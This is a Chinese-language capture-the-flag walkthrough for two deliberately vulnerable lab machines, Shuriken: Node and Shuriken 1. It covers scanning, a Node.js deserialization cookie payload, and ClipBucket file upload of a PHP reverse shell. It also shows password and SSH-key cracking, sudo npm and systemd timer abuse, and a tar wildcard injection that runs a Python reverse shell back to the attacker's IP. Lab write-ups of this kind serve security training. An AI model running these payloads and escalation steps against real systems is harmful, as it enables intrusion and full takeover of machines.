Shuriken Node

SHURIKEN: NODE

一、基本信息

名称:Shuriken: Node

发布日期:2020.12.13

作者:TheCyb3rW0lf

系列:Shuriken

二、靶机简介

Flags:

serv-adm:/~/user.txt
root:/root/root.txt

难度:困难

三、文件信息

文件名:Shuriken_Node.ova

文件大小:2.5GB

下载地址:

MD5: 5EEFC9733F218D3EB5E96CA231204BAC

SHA1: BE48EB2CE8B9FAA6C016BAE4776869F873F6B2B9

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(ubuntu)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机shuriken_node和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放了22和8080端口,访问8080,查看源码没有什么线索:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.125 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,也没有过多线索:

1
gobuster dir -u http://192.168.56.125:8080 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

Node.js漏洞利用

1.根据主页提示,我们需要关注Node.js相关的问题,在exploit-db查询node.js相关的漏洞(https://www.exploit-db.com/exploits/41289):

image-

2.根据漏洞文档描述,我们在https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py下能够找到利用程序,在kali上获取一下:

1
wget https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/master/nodejsshell.py

image-

3.利用nodejsshell.py生成设定的ip和端口的shellcode,根据漏洞文档描述,要将shellcode加载后进行base64编码:

1
python nodejsshell.py 192.168.56.102 9002

image-

4.利用漏洞文档提供的加载器,再在https://gchq.github.io/CyberChef/上进行base64转换后,kali监听对应端口,把payload注入到cookie中:

1
{"rce":"_$$ND_FUNC$$_function ()}()"},加载器

image-

image-

image-

SSH免密登录,初步提权

1.注入cookie后,我们就获得了shell,利用python构建交互式shell:

image-

2.查看文件权限,发现/var/backups目录下有ssh-backup.zip文件,解压后得到一个id_rsa:

1
2
3
cd ~
ls -la /var/backups
unzip ssh-backup.zip

image-

3.我们在/home目录下能够再发现serv-adm用户,这个密钥很可能就是该用户的:

1
2
cd /home
ls -la

image-

4.id_rsa是一个加密了的密钥,我们把它复制到kali,利用ssh2john进行解密后ssh登录serv-adm:

1
2
3
vim id_rsa.enc
/usr/share/john/ssh2john.py id_rsa.enc > id_rsa.hash
john --wordlist=rockyou.txt id_rsa.hash

image-

1
2
3
4
openssl rsa -in id_rsa.enc -out id_rsa,pasword是刚才john解出的密码
chmod 600 id_rsa

ssh serv-adm@192.168.56.125 -i id_rsa

image-

root提权

1.在ser-adm用户目录下,能够发现第一个flag,user.txt:

1
2
3
cd ~
ls -la
cat user.txt

image-

2.利用sudo -l命令查看文件权限,发现有定时文件:

1
2
3
cd ~
ls -la
cat user.txt

image-

3.我们查看一下shuriken-auto.timer,发现他定时执行shuriken-job.service,我们可以修改job为我们需要的提权程序:

1
2
3
cd /etc/systemd/system
ls -la
cat shuriken-auto.timer

image-

1
nano shuriken-job.service

image-

Flag获取

1.现在我们能重启一下时间器,获得用于提权的bashroot,执行触发获得root权限:

1
2
3
sudo systemctl stop shuriken-auto.timer
sudo systemctl start shuriken-auto.timer
/tmp/bashroot -p

image-

2.在/root目录下能够发现第二个flag,root.txt:

1
2
3
cd /root
ls -la
cat root.txt

image-

Shuriken 1

SHURIKEN: 1

一、基本信息

名称:Shuriken: 1

发布日期:2020.11.13

作者:TheCyb3rW0lf

系列:Shuriken

二、靶机简介

Flags:

server-management:/~/user.txt
root:/root/root.txt

难度:中等

三、文件信息

文件名:Shuriken-1.ova

文件大小:2.7GB

下载地址:

MD5: 2DB75B09A1DD917FFE1DF20B4450D032

SHA1: 602F049006AFE12632A1B6FEB6E4860008C96D32

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(ubuntu)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机shuriken和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放了80和8080端口,访问主页,查看源代码sha384字串无法解码:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.124 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现/sercet目录比较可疑:

1
gobuster dir -u http://192.168.56.124 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

ClipBucket页登录

1.访问/secret目录,发现一张secret.png图片,对图片进行信息隐藏分析后没有额外结果:

image-

image-

2.于是根据图片提示去主页查看js代码,发现两个指向:

image-

image-

3.修改kali的/etc/hosts文件,访问http://broadcast.shuriken.local,发现需要用户名和密码:

1
vim /etc/hosts

image-

image-

4.再次修改/etc/hosts,通过http://shuriken.local/index.php?referer=请求可以得到apache默认配置文件/etc/apache2/sites-enabled/000-default.conf,该文件指明用户文件位置为/etc/apach2/.htpasswd:

1
vim /etc/hosts

image-

image-

5.继续读取/etc/apach2/.htpasswd,可以得到用户名和密码的字串,利用hashcat结合rockyou字典破解密码:

image-

1
2
echo '$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0' > hash.txt
hashcat -m 1600 -a 0 hash.txt rockyou.txt

image-

ClipBucket漏洞利用

1.再次修改/etc/hosts,回到http://broadcast.shuriken.local,登录后发现是ClipBucket的页面,可以在exploit-db上找到相关的漏洞利用(https://www.exploit-db.com/exploits/44250):

image-

image-

2.构造payload后,对kali自带的webshell,/usr/share/webshells/php/php-reverse-shell.php进行修改,在kali开启对应端口监听,访问http://broadcast.shuriken.local/actions/CB_BEATS_UPLOAD_DIR/1630302014b9d72e.php后成功获得shell,再用python构建交互式shell:

1
vim /usr/share/webshells/php/php-reverse-shell.php

image-

1
2
nc -lvnp 9001
curl --basic --user "developers:9972761drmfsls" -F "file=@php-reverse-shell.php" -F "plupload=1" -F "name=anyname.php" http://broadcast.shuriken.local/actions/beats_uploader.php

image-

image-

image-

初步提权

1.利用sudo -l命令查看权限,发现可以执行npm,那么创建一个用于提权的json文件,利用npm提权:

1
sudo -l

image-

1
2
3
cd /tmp
echo '{"scripts":{"dev":"/bin/bash"}}' > package.json
sudo -u server-management npm run dev

image-

2.成功提权到server-management后,可以在用户目录下发现第一个flag,user.txt:

1
2
3
cd ~
ls -la
cat user.txt

image-

root提权

1.查看crontab,我们发现有一个backupsrv.sh每隔两分钟执行一次,我们可以查看下程序内容:

1
cat /etc/crontab

image-

1
cat /var/opt/backupsrv.sh

image-

2.查看程序后,我们知道它打开/home/server-management/Documents目录并使用通配符(*) tar 参数创建它的备份,这种结构容易受到通配符注入的影响:

1
2
3
4
cd Documents
echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.56.102\",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" > shell.sh,先写一个shell
echo "" > "--checkpoint-action=exec=sh shell.sh",为shell创建触发
echo "" > --checkpoint=1

image-

3.在kali开启对应端口监听,等待两分钟后程序定时执行得到shell为root权限:

1
nc -lvnp 9002

image-

4.获得root权限后,在/root目录下能够发现第二个flag,root.txt:

1
2
3
cd /root
ls -la
cat root.txt

image-